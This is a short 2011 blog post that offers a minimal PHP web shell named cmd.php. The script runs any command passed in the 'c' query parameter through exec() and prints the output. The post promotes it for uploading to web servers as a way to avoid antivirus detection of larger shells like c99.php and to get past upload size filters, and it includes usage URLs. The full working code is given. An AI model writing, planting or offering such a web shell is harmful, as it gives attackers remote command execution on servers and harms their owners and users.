Thursday, October 13, 2011

Portable PHP Script to execute Shell command

This small PHP script can be used to execute shell command on a web server.
Some time PHP shells like c99.php gets detected by AVS.So in that case this small php script is very use full.And some time the size of the file to be uploaded is very essential,IF the application is filtering upload by size then also this script can be used.

USAGE : This script accepts shell command as GET requests,so just upload this script,and execute command like this

http://www.site.com/cmd.php?c=

eg. http://www.site.com/cmd.php?c=ifconfig

You will see the out put of that command.

<?php
$cmd = $_GET["c"];
if ($cmd == "") 
{
echo "<B>Usage :: http://www.site.com/cmd.php?c=<your command></B>";
}
else
{
$output = null;
exec($cmd, $output);
echo "<pre>" . var_export($output, TRUE) . "</pre>\\n";
}
?>